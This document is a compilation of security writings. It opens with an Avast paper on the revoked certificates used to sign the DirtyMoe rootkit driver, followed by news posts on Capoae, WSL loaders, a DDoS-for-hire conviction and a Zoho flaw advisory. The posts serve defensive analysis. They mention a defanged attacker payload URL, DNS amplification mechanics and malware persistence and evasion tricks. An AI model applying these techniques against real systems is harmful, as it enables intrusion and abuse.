Abstract

The DirtyMoe malware uses a driver signed with a revoked certificate that can be seamlessly loaded into the Windows kernel. Therefore, one of the goals is to analyze how Windows works with a code signature of Windows drivers. Similarly, we will be also interested in the code signature verification of user-mode applications since the user account control (UAC) does not block the application execution even if this one is also signed with a revoked certificate. The second goal is a statistical analysis of certificates that sign the DirtyMoe driver because the certificates are also used to sign other malicious software. We focus on the determination of the certificate’s origin, prevalence, and a quick analysis of the top 10 software signed with these certificates.

Contrary to what often has been assumed, Windows loads a driver signed with a revoked certificate. Moreover, the results indicate that the UAC does not verify revocation online but only via the system local storage which is updated by a user manually. DirtyMoe certificates are used to sign many other software, and the number of incidents is still growing. Furthermore, Taiwan and Russia seem to be the most affected by these faux signatures.

Overall, the analyzed certificates can be declared as malicious, and they should be monitored. The UAC contains a significant vulnerability in its code signature verification routine. Therefore, in addition to the usual avoidance of downloading from usual sources, Windows users should also not fully rely on inbuilt protections only. Due to the flawed certificate verification, manual verification of the certificate is recommended for executables requiring elevated privileges.

1. Introduction

The DirtyMoe malware is a complex malicious backdoor designed to be modularized, undetectable, and untrackable. The main aim of DirtyMoe is cryptojacking and DDoS attacks. Basically, it can do anything that attackers want. The previous study, published at DirtyMoe: Introduction and General Overview, has shown that DirtyMoe also employs various self-protection and anti-forensics mechanisms. One of the more significant safeguards, defending DirtyMoe, is a rootkit. What is significant about the rootkit using is that it offers advanced techniques to hide malicious activity on the kernel layer. Since DirtyMoe is complex malware and has undergone long-term development, therefore, the malware authors have also implemented various rootkit mechanisms. The DirtyMoe: Rootkit Driver post examines the DirtyMoe driver functionality in detail.

However, another important aspect of the rootkit driver is a digital signature. The rootkits generally exploit the system using a Windows driver. Microsoft has begun requiring the code signing with certificates that a driver vendor is trusted and verified by a certification authority (CA) that Microsoft trusts. Nonetheless, Windows does not allow the loading of unsigned drivers since 64-bit Windows Vista and later versions. Although the principle of the code signing is correct and safe, Windows allows  loading a driver that a certificate issuer has explicitly revoked the used certificate. The reasons for this behavior are various, whether in terms of performance or backward compatibility. The weak point of this certificate management is if malware authors steal any certificate that has been verified by Microsoft and revoked by CA in the past. Then the malware authors can use this certificate for malicious purposes. It is precisely the case of DirtyMoe, which still signs its driver with stolen certificates. Moreover, users cannot affect the codesign verification via the user account control (UAC) since drivers are loaded in the kernel mode.

Motivated by the loading of drivers with revoked certificates, the main issues addressed in this paper are analysis of mechanism how Windows operates with code signature in the kernel and user mode; and detailed analysis of certificates used for code signing of the DirtyMoe driver.

This paper first gives a brief overview of UAC and code signing of Windows drivers. There are also several observations about the principle of UAC, and how Windows manages the certificate revocation list (CRL). The remaining part of the paper aims to review in detail the available information about certificates that have been used to code signatures of the DirtyMoe driver.

Thus far, three different certificates have been discovered and confirmed by our research group as malicious. Drivers signed with these certificates can be loaded notwithstanding their revocation into the 64-bit Windows kernel. An initial objective of the last part is an analysis of the suspicious certificates from a statistical point of view. There are three viewpoints that we studied. The first one is the geological origin of captured samples signed with the malicious certificate. The second aspect is the number of captured samples, including a prediction factor for each certificate. The last selected frame of reference is a statistical overview about a type of the signed software because the malware authors use the certificates to sign various software, e.g., cracked software or other popular user applications that have been patched with a malicious payload. We have selected the top 10 software signed with revoked certificates and performed a quick analysis. Categories of this software help us to ascertain the primarily targeted type of software that malware authors signed. Another significant scope of this research is looking for information about companies that certificates have probably been leaked or stolen.

2. Background

Digital signatures are able to provide evidence of the identity, origin, and status of electronic documents, including software. The user can verify the validity of signatures with the certification authority. Software developers use digital signatures to a code signing of their products. The software authors guarantee via the signature that executables or scripts have not been corrupted or altered since the products have been digitally signed. Software users can verify the credibility of software developers before run or installation.

Each code-signed software provides information about its issuer, and an URL points to the current certificate revocation list (CRL) known as the CRL Distribution Point. Windows can follow the URL and check the validity of the used certificate. If the verification fails, the User Account Control (UAC) blocks software execution that code-signature is not valid. Equally important is the code-signature of Windows drivers that use a different approach to digital signature verification. Whereas user-mode software signatures are optional, the Windows driver must be signed by a CA that Windows trusts. Driver signing is mandatory since 64-bit Windows Vista.

2.1 User Account Control and Digital Signature

Windows 10 prompts the user for confirmation if the user wants to run software with high permission. User Account Control (UAC) should help to prevent users from inadvertently running malicious software or other types of changes that might destabilize the Windows system. Additionally, UAC uses color coding for different scenarios – blue for a verified signature, yellow for an unverified, and red for a rejected certificate; see Figure 1.

Unfortunately, users are the weakest link in the safety chain and often willingly choose to ignore such warnings. Windows itself does not provide 100% protection against unknown publishers and even revoked certificates. So, user’s ignorance and inattention assist malware authors.

2.2 Windows Drivers and Digital Signature

Certificate policy is diametrically different for Windows drivers in comparison to other user-mode software. While user-mode software does not require code signing, code signing is mandatory for a Windows driver; moreover, a certificate authority trusted by Microsoft must be used. Nonetheless, the certificate policy for the windows drivers is quite complicated as MSDN demonstrates [1].

2.2.1 Driver Signing

Historically, 32-bit drivers of all types were unsigned, e.g., drivers for printers, scanners, and other specific hardware. Windows Vista has brought a new signature policy, but Microsoft could not stop supporting the legacy drivers due to backward compatibility. However, 64-bit Windows Vista and later has to require digitally signed drivers according to the new policy. Hence, 32-bit drivers do not have to be signed since these drivers cannot be loaded into the 64-bit kernels. The code signing of 32-bit drivers is a good practice although the certificate policy does not require it.

Microsoft has no capacity to sign each driver, more precisely file, provided by third-party vendors. Therefore, a cross-certificate policy is used to provide an instrument to create a chain of trust. This policy allows the release of a subordinate certificate that builds the chain of trust from the Microsoft root certification authority to multiple other CAs that Microsoft accredited. The current cross-certificate list is documented in [2]. In fact, the final driver signature is done with a certificate that has been issued by the subordinate CA, which Microsoft authorized.

The examples of the certificate chain illustrates Figure 2 and the following output of signtool;
see Figure 3.

2.2.2 Driver Signature Verification

For user-mode software, digital signatures are verified remotely via the CRL list obtained from certificate issuers. The signature verification of Windows drivers cannot be performed online compared with user-mode software because of the absence of network connection during the kernel bootup. Moreover, the kernel boot must be fast and a reasonable approach to tackle the signature verification is to implement a light version of the verification algorithm.

The Windows system has hardcoded root certificates of several CAs and therefore can verify the signing certificate chain offline. However, the kernel has no chance to authenticate signatures against CRLs. The same is applied to expired certificates. Taken together, this approach is implemented due to kernel performance and backward driver compatibility. Thus, leaked and compromised certificates of a trusted driver vendor causes a severe problem for Windows security.

3. CRL, UAC, and Drivers

As was pointed out in the previous section, CRL contains a list of revoked certificates. UAC should verify the chain of trust of run software that requires higher permission. The UAC dialog then shows the status of the certificate verification. It can end with two statuses, e.g., verified publisher or unknown publisher [3], see Figure 1.

However, we have a scenario where software is signed with a revoked certificate and run is not blocked by UAC. Moreover, the code signature is marked as the unknown publisher (yellow titled UAC), although the certificate is in CRL.

3.1 Cryptographic Services and CRL Storage

Cryptographic Services confirms the signatures of Windows files and stores file information into the C:\Users\<user>\AppData\LocalLow\Microsoft\CryptnetUrlCache folder, including the CRL of the verified file. The CryptnetUrlCache folder (cache) is updated, for instance, if users manually check digital signatures via “Properties -> Digital Signature” or via the signtool tools, as Figure 3 and Figure 4 illustrate. The certificate verification processes the whole chain of trust, including CRL and possible revocations deposits in the cache folder.

Another storage of CRLs is Certificate Storage accessible via the Certificate Manager Tool; see
Figure 5. This storage can be managed by local admin or domain.

3.2 CRL Verification by UAC

UAC itself does not verify code signature, or more precisely chain of trust, online; it is probably because of system performance. The UAC codesign verification checks the signature and CRL via CryptnetUrlCache and the system Certificate storage. Therefore, UAC marks malicious software, signed with the revoked certificate, as the unknown publisher because CryptnetUrlCache is not up-to-date initially.

Suppose the user adds appropriate CRL into Certificate Storage manually using this command:
certutil -addstore -f Root CSC3-2010.crl

In that case, UAC will successfully detect the software as suspicious, and UAC displays this message: “An administrator has blocked you from running this app.” without assistance from Cryptographic Services and therefore offline.

The Windows update does not include CRLs of cross-certificate authorities that Microsoft authorized to codesign of Windows files. This fact has been verified via Windows updates and version as follow:

• Windows Malicious Software Removal Tool x64 – v5.91 (KB890830)
• 2021-06 Cumulative update for Windows 10 Version 20H2 for x64-based System (KB5003690)
• Windows version: 21H1 (OB Build 19043.1110)

In summary, UAC checks digital signatures via the system local storage of CRL and does not verify code signature online.

3.3 Windows Driver and CRL

Returning briefly to the codesign of the Windows driver that is required by the kernel. The kernel can verify the signature offline, but it cannot check CRL since Cryptographic Services and network access are not available at boot time.

Turning now to the experimental evidence on the offline CRL verification of drivers. It is evident in the case described in Section 3.2 that UAC can verify CRL offline. So, the tested hypothesis is that the Windows kernel could verify the CRL of a loaded driver offline if an appropriate CRL is stored in Certificate Storage. We used the DirtyMoe malware to deploy the malicious driver that is signed with the revocated certificate. The corresponding CRL of the revoked certificate has been imported into Certificate Storage. However, the driver was still active after the system restart. It indicates that the rootkit was successfully loaded into the kernel, although the driver certificate has been revoked and the current CRL was imported into Certificate Storage. There is a high probability that the kernel avoids the CRL verification even from local storage.

4. Certificate Analysis

The scope of this research are three certificates as follow:

Beijing Kate Zhanhong Technology Co.,Ltd.
Valid From: 28-Nov-2013 (2:00:00)
Valid To: 29-Nov-2014 (1:59:59)
SN: 3c5883bd1dbcd582ad41c8778e4f56d9
Thumbprint: 02a8dc8b4aead80e77b333d61e35b40fbbb010a0
Revocation Status: Revoked on 22-May-‎2014 (9:28:59)
CRL Distribution Point: http://cs-g2-crl.thawte.com/ThawteCSG2.crl
IoCs:
88D3B404E5295CF8C83CD204C7D79F75B915D84016473DFD82C0F1D3C375F968
376F4691A80EE97447A66B1AF18F4E0BAFB1C185FBD37644E1713AD91004C7B3
937BF06798AF9C811296A5FC1A5253E5A03341A760A50CAC67AEFEDC0E13227C

Beijing Founder Apabi Technology Limited
Valid From: 22-May-2018 (2:00:00)
Valid To: 29-May-2019 (14:00:00)
SN: 06b7aa2c37c0876ccb0378d895d71041
Thumbprint: 8564928aa4fbc4bbecf65b402503b2be3dc60d4d
Revocation Status: Revoked on 22-May-‎2018 (2:00:01)
CRL Distribution Point: http://crl3.digicert.com/sha2-assured-cs-g1.crl
IoCs:
B0214B8DFCB1CC7927C5E313B5A323A211642E9EB9B9F081612AC168F45BF8C2
5A4AC6B7AAB067B66BF3D2BAACEE300F7EDB641142B907D800C7CB5FCCF3FA2A
DA720CCAFE572438E415B426033DACAFBA93AC9BD355EBDB62F2FF01128996F7

Shanghai Yulian Software Technology Co., Ltd. (上海域联软件技术有限公司)
Valid From: 23-Mar-2011 (2:00:00)
Valid To: 23-Mar-2012 (1:59:59)
SN: 5f78149eb4f75eb17404a8143aaeaed7
Thumbprint: 31e5380e1e0e1dd841f0c1741b38556b252e6231
Revocation Status: Revoked on 18-Apr-‎2011 (10:42:04)
CRL Distribution Point: http://csc3-2010-crl.verisign.com/CSC3-2010.crl
IoCs:
15FE970F1BE27333A839A873C4DE0EF6916BD69284FE89F2235E4A99BC7092EE
32484F4FBBECD6DD57A6077AA3B6CCC1D61A97B33790091423A4307F93669C66
C93A9B3D943ED44D06B348F388605701DBD591DAB03CA361EFEC3719D35E9887

4.1 Beijing Kate Zhanhong Technology Co.,Ltd.

We did not find any relevant information about Beijing Kate Zhanhong Technology company. Avast captured 124 hits signed with the Beijing Kate certificates from 2015 to 2021. However, prediction to 2021 indicates a downward trend; see Figure 6. Only 19 hits have been captured in the first 7 months of this year, so the prediction for this year (2021) is approx. 30 hits signed with this certificate.

Ninety-five percent of total hits have been located in Asia; see Table 1 for detailed GeoIP distribution of the last significant years.

The malware authors use this certificate to sign Windows system drivers in 61 % of monitored hits, and Windows executables are signed in 16 % of occurrences. Overall, it seems that the malware authors focus on Windows drivers, which must be signed with any verified certificates.

4.2 Beijing Founder Apabi Technology Limited

The Beijing Founder Apabi Technology Co., Ltd. was founded in 2001, and it is a professional digital publishing technology and service provider under Peking University Founder Credit Group. The company also develops software for e-book reading like Apabi Reader‬ [4].

The Beijing Founder certificate has been observed, as malicious, in 166 hits with 18 unique SHAs. The most represented sample is an executable called “Linking.exe” which was hit in 8 countries, most in China; exactly 71 cases. The first occurrence and peak of the hits were observed in 2018. The incidence of hits was an order of magnitude lower in the previous few years, and we predict an increase in the order of tens of hits, as Figure 7 illustrates.

4.3 Shanghai Yulian Software Technology Co., Ltd.

The Shanghai Yulian Software Technology Co. was founded in 2005, which provides network security guarantees for network operators. Its portfolio covers services in the information security field, namely e-commerce, enterprise information security, security services, and system integration [5].

The Shanghai Yulian Software certificate is the most widespread compared to others. Avast captured this certificate in 10,500 cases in the last eight years. Moreover, the prevalence of samples signed with this certificate is on the rise, although the certificate was revoked by its issuer in 2011. In addition, the occurrence peak was in 2017 and 2020. We assume a linear increase of the incidence and a prediction for 2021 is based on the first months of 2021. And therefore, the prediction for 2021 indicates that this revoked certificate will also dominate in 2021; see the trend in Figure 8. We have no record of what caused the significant decline in 2018 and 2019.

The previous certificates dominate only in Asia, but the Shanghai Yulian Software certificate prevails in Asia and Europe, as Figure 9 illustrates. The dominant countries are Taiwan and Russia. China and Thailand are on a close hinge; see Table 2 for detailed country distribution, several countries selected.

As in previous cases, the malware authors have been using Shanghai Yulian Software certificates to sign Windows drivers in 75 % of hits. Another 16 % has been used for EXE and DLL executable; see Figure 10 for detailed distribution.

4.3.1 Analysis of Top 10 Captured Files

We summarize the most frequent files in this subchapter. Table 3 shows the occurrence of the top 10 executables that are related to user applications. We do not focus on DirtyMoe drivers because this topic is recorded at DirtyMoe: Rootkit Driver.

We have identified the five most executables signed with Shanghai Yulian Software certificate. The malware authors target popular and commonly used user applications such as video editors, communication applications, and video games.

1) WFP_Drive.sys

The WFP driver was hit in a folder of App-V (Application Virtualization) in C:\ProgramData. The driver can filter network traffic similar to a firewall [6]. So, malware can block and monitor arbitrary connections, including transferred data. The malware does not need special rights to write into the ProgramData folder. The driver and App-V’s file names are not suspicious at first glance since App-V uses Hyper-V Virtual Switch based on the WFP platform [7].

Naturally, the driver has to be loaded with a process with administrator permission. Subsequently, the process must apply for a specific privilege called SeLoadDriverPrivilege (load and unload device drivers) to successful driver loading. The process requests the privilege via API call EnablePriviliges that can be monitored with AVs. Unfortunately, Windows loads drivers with revoked certificates, so the whole security mechanism is inherently flawed.

2) LoginDrvS.sys

Further, the LoginDrvS driver uses a similar principle as the WFP driver. The malware camouflages its driver in a commonly used application folder. It uses the LineageLogin application folder that is used as a launcher for various applications, predominantly video games. LineageLogin is implemented in Pascal [8]. The LineageLogin itself contains a suspicious embedded DLL. However, it is out of this topic. Both drivers (WFP_Drive.sys and LoginDrvS.sys) are presumably from the same malware author as their PDB paths indicate:

• f:\projects\c++\win7pgkill\amd64\LoginDrvS.pdb (10 unique samples)
• f:\projects\c++\wfp\objfre_win7_amd64\amd64\WFP_Drive.pdb (8 unique samples)

Similar behavior is described in Trojan.MulDrop16.18994, see [9].

3) Denuvo64.sys

Denuvo is an anti-piracy protection technique used by hundreds of programming companies around the world [10]. This solution is a legal rootkit that can also detect cheat mode and other unwanted activity. Therefore, Denuvo has to use a kernel driver.

The easy way to deploy a malicious driver is via cracks that users still download abundantly. The malware author packs up the malicious driver into the cracks, and users prepare a rootkit backdoor within each crack run. The malicious driver performs the function that users expect, e.g., anti-anti cheating or patching of executable, but it also services a backdoor very often.

We have revealed 8 unique samples of Denuvo malicious drivers within 1046 cases. The most occurrence is in Russia; see Figure 11. The most hits are related to video game cracks as follows: Constructor, Injustice 2, Prey, Puyo Puyo Tetris, TEKKEN 7 – Ultimate Edition, Total War – Warhammer 2, Total.War – Saga Thrones of Britannia.

4) WsAP-Filmora.dll

Wondershare Filmora is a simple video editor which has free and paid versions [11]. So, there is a place for cracks and malware activities. All hit paths point to crack activity where users tried to bypass the trial version of the Filmora editor. No PDB path has been captured; therefore, we cannot determine the malware authors given other samples signed with the same certificates. WsAP-Filmora.dll is widespread throughout the world (73 countries); see the detailed country distribution in Figure 12.

5) μTorrent.exe

μTorrent is a freeware P2P client for the BitTorrent network [12]. Avast has detected 417 hits of malicious μTorrent applications. The malicious application is based on the original μTorrent client with the same functionality, GUI, and icon. If a user downloads and runs this updated μTorrent client, the application’s behavior and design are not suspicious for the user.

The original application is signed with Bit Torrent, Inc. certificate, and the malicious version was signed with Shanghai Yulian Software certificate. Everyday users, who want to check the digital signature, see that the executable is signed. However, information about the signature’s suspiciousness is located in details that are not visible at first glance, Figure 13.

The malicious signature contains Chinese characters, although the sample’s prevalence points to Russia. Moreover, China has no hits. Figure 14 illustrates a detailed country distribution of the malicious μTorrent application.

4.3.2 YDArk Rootkit

We have found one Github repository which contains a YDArk tool that monitors system activities via a driver signed with the compromised certificate. The last sign was done in May 2021; hence it seems that the stolen certificate is still in use despite the fact that it was revoked 10 years ago. The repository is managed by two users, both located in China. The YDArk driver has been signed with the compromise certificates by ScriptBoy2077, who admitted that the certificate is compromised and expired by this note:

“I have signed the .sys file with a compromised, expired certificate, may it is helpful to those my friends who don’t know how to load an unsigned driver.”

The private key of the compromised certificate is not available on the clearnet. We looked for by the certificate name, serial number, hashes, etc.; hence we can assume that the certificate and private key can be located in the darknet and shared within a narrow group of malware authors. Consequently, the relationship between YDArk, more precisely ScriptBoy2077, and the DirtyMoe driver is compelling. Additionally, C&C DirtyMoe servers are also located in most cases in China, as we described in DirtyMoe: Introduction and General Overview.

5. Discussion

The most interesting finding of this research was that Windows allows loading drivers signed with revoked certificates even if an appropriate CRL is locally stored. Windows successfully verifies the signature revocation offline for user-mode applications via UAC. However, if Windows loads drivers with the revoked certificate into the kernel despite the up-to-date CRL, it is evident that the Windows kernel avoids the CRL check. Therefore, it is likely that the missing implementation of CRL verification is omitted due to the performance at boot time. It is a hypothesis, so further research will need to be undertaken to fully understand the process and implementation of driver loading and CRL verification.

Another important finding was that the online CRL is not queried by UAC in digital signatures verification for user-mode applications, which require higher permission. It is somewhat surprising that UAC blocks the applications only if the user manually checks the chain of trust before the application is run; in other words, if the current CRL is downloaded and is up-to-date before the UAC run. So, the evidence suggests that neither UAC does not fully protect users against malicious software that has been signed with revoked certificates. Consequently, the users should be careful when UAC appears. 

The DirtyMoe’s driver has been signing with three certificates that we analyzed in this research. Evidence suggests that DirtyMoe’s certificates are used for the code signing of other potentially malicious software. It is hard to determine how many malware authors use the revoked certificates precisely. We classified a few clusters of unique SHA samples that point to the same malware authors via PDB paths. However, many other groups cannot be unequivocally identified. There is a probability that the malware authors who use the revoked certificates may be a narrow group; however, further work which compares the code similarities of signed software is required to confirm this assumption. This hypothesis is supported by the fact that samples are dominantly concentrated in Taiwan and Russia in such a long time horizon. Moreover, leaked private keys are often available on the internet, but the revoked certificates have no record. It could mean that the private keys are passed on within a particular malware author community.

According to these data, we can infer that the Shanghai Yulian Software Technology certificate is the most common use in the wild and is on the rise, although the certificate was revoked 10 years ago. Geological data demonstrates that the malware authors target the Asian and European continents primarily, but the reason for this is not apparent; therefore, questions still remain. Regarding types of misused software, the analysis of samples signed with the Shanghai Yulian Software certificate confirmed that most samples are rootkits deployed together with cracked or patched software. Other types of misused software are popular user applications, such as video games, communication software, video editors, etc. One of the issues is that the users observe the correct behavior of suspicious software, but malicious mechanisms or backdoors are also deployed.

In summary, the DirtyMoe’s certificates are still used for code signing of other software than the DirtyMoe malware, although the certificates were revoked many years ago.

6. Conclusion

The malware analysis of the DirtyMoe driver (rootkit) discovered three certificates used for codesign of suspicious executables. The certificates have been revoked in the middle of their validity period. However, the certificates are still widely used for codesign of other malicious software.

The revoked certificates are principally misused for the code signature of malicious Windows drivers (rootkits) because the 64bit Windows system has begun requiring the driver signatures for greater security. On the other hand, Windows does not implement the verification of signatures via CRL. In addition, the malware authors abuse the certificates to sign popular software to increase credibility, whereas the software is patched with malicious payloads. Another essential point is that UAC verifies the signatures against the local CRL, which may not be up-to-date. UAC does not download the current version of CRL when users want to run software with the highest permission. Consequently, it can be a serious weakness.

One source of uncertainty is the origin of the malware authors who misused the revoked certificates. Everything points to a narrow group of the author primarily located in China. Further investigation of signed samples are needed to confirm that the samples contain payloads with similar functionality or code similarities.

Overall, these results and statistics suggest that Windows users are still careless when running programs downloaded from strange sources, including various cracks and keygens. Moreover, Windows has a weak and ineffective mechanism that would strongly warn users that they try to run software with revoked certificates, although there are techniques to verify the validity of digital signatures.

References

[1] Driver Signing
[2] Cross-Certificates for Kernel Mode Code Signing
[3] How Windows Handles Running Files Whose Publisher’s Certificate(s) Have Been Revoked
[4] Beijing Founder Apabi Technology Limited
[5] Shanghai Yulian Software Technology Co., Ltd.
[6] WFP network monitoring driver (firewall)
[7] Hyper-V Virtual Switch
[8] Lineage Login
[9] Dr. Web: Trojan.MulDrop16.18994
[10] Denuvo
[11] Filmora
[12] μTorrent

The post DirtyMoe: Code Signing Certificate appeared first on Avast Threat Labs.

A new malware written in Golang programming language, tracked as Capoae, is targeting WordPress installs and Linux systems.

Akamai researchers spotted a new strain of malware written in Golang programming language, dubbed Capoae, that was involved in attacks aimed at WordPress installs and Linux systems. 

The malware spread through attacks exploiting known vulnerabilities (i.e. CVE-2020-14882 Oracle WebLogic Server RCE, and CVE-2018-20062 ThinkPHP RCE) and targeting sites and systems protected with weak administrative credentials.  Upon infecting a system, the malware abuses its resources to mine cryptocurrency. 

The researchers discovered the threat after a sample of the malware targeted one Akamai honeypot. The attackers dropped a PHP malware sample through a backdoor linked to a WordPress plugin called Download-monitor, which was installed after the honeypot was accessed.

“Around the same time the news was spreading about these crypto mining malware attacks, SIRT honeypots were infected with PHP malware that arrived via a backdoored addition to a WordPress plugin named download-monitor.” said Akamai researcher Larry Cashdollar. “Download-monitor had been installed after the honeypot’s weak WordPress admin credentials had been guessed. A 3MB UPX packed Golang binary was also downloaded to /tmp.  Upon examination, it was clear the malware had some decryption functionality and an encrypted file stored in another directory.”

The researchers also noticed that the attackers installed several web shells to carry out malicious activities such as uploading stolen files to a remote server controlled by the attackers. The analysis of the binary revealed the presence of a port scanner that is used to target randomly generated IP addresses and checking for ports to target with known exploits.

In order to achieve persistence, the malware first chooses a legitimate-looking system path from a small list of locations on a disk where you’d likely find system binaries, then it generates a random six-character filename, and uses these two pieces to copy itself into the new location on the disk and deletes itself. The malicious code injects/updates a Crontab entry that will trigger the execution of the above binary.

In order to detect the infection, Cashdollar recommends watching out system resource consumption, odd/unexpected running processes, suspicious artifacts (files, crontab entries, SSH keys, etc.), and suspicious access log entries, etc.. The researcher also shared a list of Indicators of Compromise (IoCs) for this threat.

“The Capoae campaign’s use of multiple vulnerabilities and tactics highlights just how intent these operators are on getting a foothold on as many machines as possible. The good news is, the same techniques we recommend for most organizations to keep systems and networks secure still apply here.” concludes the analysis.

Follow me on Twitter: @securityaffairs and Facebook

Pierluigi Paganini

(SecurityAffairs – hacking, Capoae)

The post New Go malware Capoae uses multiple flaws to target WordPress installs, Linux systems appeared first on Security Affairs.

Security researchers spotted a new malware that uses Windows Subsystem for Linux (WSL) to evade detection in attacks against Windows machines.

Security researchers from Lumen’s Black Lotus Labs have discovered several malicious Linux binaries developed to target the Windows Subsystem for Linux (WSL).

Windows Subsystem for Linux (WSL) is a compatibility layer for running Linux binary executables (in ELF format) natively on Windows 10, Windows 11, and Windows Server 2019. The discovery of the malicious Linux binaries suggests that threat actors are devising new methods to target Windows systems and evade the detection.

The files identified by the expert were written primarily in Python 3 and compiled in the Linux binary format ELF (Executable and Linkable Format) for the Debian operating system. 

“These files acted as loaders running a payload that was either embedded within the sample or retrieved from a remote server and was then injected into a running process using Windows API calls.” reads the analysis published by the researchers. “While this approach was not particularly sophisticated, the novelty of using an ELF loader designed for the WSL environment gave the technique a detection rate of one or zero in Virus Total, depending on the sample, as of the time of this writing.”

The Black Lotus Labs detected multiple samples that were uploaded every two to three weeks from as early as May 3, 2021, through August 22, 2021.

The malicious code acted as a loader, retrieved a remote file and then injected it into a running process leveraging Windows API calls . Experts pointed out that the files had a very low detection rate on VirusTotal because most Windows anti-virus solutions don’t have signatures to detect ELF files.

The loader analyzed by the experts used standard Python libraries to make the malicious files multiplatform.

One of the samples was printing the words “Пивет Саня” which translates from Russian to “Hello Sanya”, which suggests that the author has some familiarity with the language and that was making some tests. All of the malicious files analyzed by the experts contained private, or non-routable, IP addresses, except for one that contained the 185.63.90[.]137 IP address.

“The file first attempted to allocate memory from the machines, then created a new process and injected a resource that was stored on a remote server located at hxxp://185.63.90[.]137:1338/stagers/l5l.py. When Black Lotus Labs researchers tried to grab the resource from this remote server, the file was already taken offline, indicating that the threat actor left this address in either from a test or a previous campaign.” continues the analysis. “We did identify a couple of other malicious files that all communicated with the same IP address (185.63.90[.]137) around the same timeframe as the samples containing Meterpreter payloads, some of which were obfuscated with the Shikata Ga Nai encoder.”

The researchers reported that the ELF to Windows binary file execution path was different in various samples, for example, in some samples, the author used PowerShell to inject and execute the shellcode.

In one sample the loader used Python to call functions that killed the running AV products and analysis tools, established a webshell, and run a PowerShell script every 20 seconds.

Black Lotus Labs visibility on the one routable IP address indicates that the author is targeting users in Ecuador and France in late June and early July.

“As the once distinct boundaries between operating systems continue to become more nebulous, threat actors will take advantage of new attack surfaces. We advise defenders who’ve enabled WSL ensure proper logging in order to detect this type of tradecraft.” concludes the report.

“To combat this particular campaign, Black Lotus Labs null-routed the threat actor infrastructure across the Lumen global IP network. Black Lotus Labs continues to follow this activity to detect and disrupt similar compromises, and we encourage other organizations to alert on this and similar campaigns in their environments.”

Follow me on Twitter: @securityaffairs and Facebook

Pierluigi Paganini

(SecurityAffairs – hacking, WSL)

A jury in California today reached a guilty verdict in the trial of Matthew Gatrel, a St. Charles, Ill. man charged in 2018 with operating two online services that allowed paying customers to launch powerful distributed denial-of-service (DDoS) attacks against Internet users and websites. Gatrel’s conviction comes roughly two weeks after his co-conspirator pleaded guilty to criminal charges related to running the services.

The user interface for Downthem[.]org.

Prosecutors for the Central District of California charged Gatrel, 32, and his business partner Juan “Severon” Martinez of Pasadena, Calif. with operating two DDoS-for-hire or “booter” services — downthem[.]org and ampnode[.]com.

Despite admitting to FBI agents that he ran these booter services (and turning over plenty of incriminating evidence in the process), Gatrel opted to take his case to trial, defended the entire time by public defenders. Facing the prospect of a hefty sentence if found guilty at trial, Martinez pleaded guilty on Aug. 26 to one count of unauthorized impairment of a protected computer.

Gatrel was convicted on all three charges of violating the Computer Fraud and Abuse Act, including conspiracy to commit unauthorized impairment of a protected computer, conspiracy to commit wire fraud, and unauthorized impairment of a protected computer.

Investigators say Downthem helped some 2,000 customers launch debilitating digital assaults at more than 200,000 targets, including many government, banking, university and gaming Web sites.

Prosecutors alleged that in addition to running and marketing Downthem, the defendants sold huge, continuously updated lists of Internet addresses tied to devices that could be used by other booter services to make attacks far more powerful and effective. In addition, other booter services also drew firepower and other resources from Ampnode.

Booter and stresser services let customers pick from among a variety of attack methods, but almost universally the most powerful of these methods involves what’s known as a “reflective amplification attack.” In such assaults, the perpetrators leverage unmanaged Domain Name Servers (DNS) or other devices on the Web to create huge traffic floods.

Ideally, DNS servers only provide services to machines within a trusted domain — such as translating an Internet address from a series of numbers into a domain name, like example.com. But DNS reflection attacks rely on consumer and business routers and other devices equipped with DNS servers that are (mis)configured to accept queries from anywhere on the Web.

Attackers can send spoofed DNS queries to these DNS servers, forging the request so that it appears to come from the target’s network. That way, when the DNS servers respond, they reply to the spoofed (target) address.

The bad guys also can amplify a reflective attack by crafting DNS queries so that the responses are much bigger than the requests. For example, an attacker could compose a DNS request of less than 100 bytes, prompting a response that is 60-70 times as large. This “amplification” effect is especially pronounced if the perpetrators query dozens of DNS servers with these spoofed requests simultaneously.

The government charged that Gatrel and Martinez constantly scanned the Internet for these misconfigured devices, and then sold lists of Internet addresses tied to these devices to other booter service operators.

Gatrel’s sentencing is scheduled for January 27, 2022. He faces a statutory maximum sentence of 35 years in federal prison. However, given the outcome of past prosecutions against other booter service operators, it seems unlikely that Gatrel will spend much time in jail.

The case against Gatrel and Martinez was brought as part of a widespread crackdown on booter services in Dec. 2018, when the FBI joined with law enforcement partners overseas to seize 15 different booter service domains.

Federal prosecutors and DDoS experts interviewed at the time said the operation had three main goals: To educate people that hiring DDoS attacks is illegal, to destabilize the flourishing booter industry, and to ultimately reduce demand for booter services.

The jury is still out on whether any of those goals have been achieved with lasting effect.

The original complaint against Gatrel and Martinez is here (PDF).

The FBI, CISA, and the Coast Guard Cyber Command (CGCYBER) warn of state-sponsored attacks that are actively exploiting CVE-2021-40539 Zoho flaw.

The FBI, CISA, and the Coast Guard Cyber Command (CGCYBER) warn that nation-state APT groups are actively exploiting a critical vulnerability, tracked as CVE-2021-40539, in the Zoho ManageEngine ADSelfService Plus software.

ManageEngine ADSelfService Plus is self-service password management and single sign-on solution.

“This joint advisory is the result of analytic efforts between the Federal Bureau of Investigation (FBI), United States Coast Guard Cyber Command (CGCYBER), and the Cybersecurity and Infrastructure Security Agency (CISA) to highlight the cyber threat associated with active exploitation of a newly identified vulnerability (CVE-2021-40539) in ManageEngine ADSelfService Plus—a self-service password management and single sign-on solution.” reads the joint advisory. “The exploitation of ManageEngine ADSelfService Plus poses a serious risk to critical infrastructure companies, U.S.-cleared defense contractors, academic institutions, and other entities that use the software.”

According to the US agencies, threat actors can trigger the flaw to place webshells, which enable the adversary to conduct post-exploitation activities, such as compromising administrator credentials, conducting lateral movement, and exfiltrating registry hives and Active Directory files.

In early September, Zoho released a security patch to address an authentication bypass vulnerability, tracked as CVE-2021-40539, in its ManageEngine ADSelfService Plus. The company also warns the vulnerability is already exploited in attacks in the wild.

The vulnerability resides in the REST API URLs in ADSelfService Plus and could lead to remote code execution (RCE).

“We have addressed an authentication bypass vulnerability affecting the REST API URLs in ADSelfService Plus. This article provides more information on the issue and how to resolve it.” reads the advisory published by the company. “This vulnerability allows an attacker to gain unauthorized access to the product through REST API endpoints by sending a specially crafted request. This would allow the attacker to carry out subsequent attacks resulting in RCE.”

“This is a critical issue. We are noticing indications of this vulnerability being exploited,” Zoho added.

The flaw affects ADSelfService Plus 6113 release and prior, the flaw was addressed with the release of build 6114 or later.

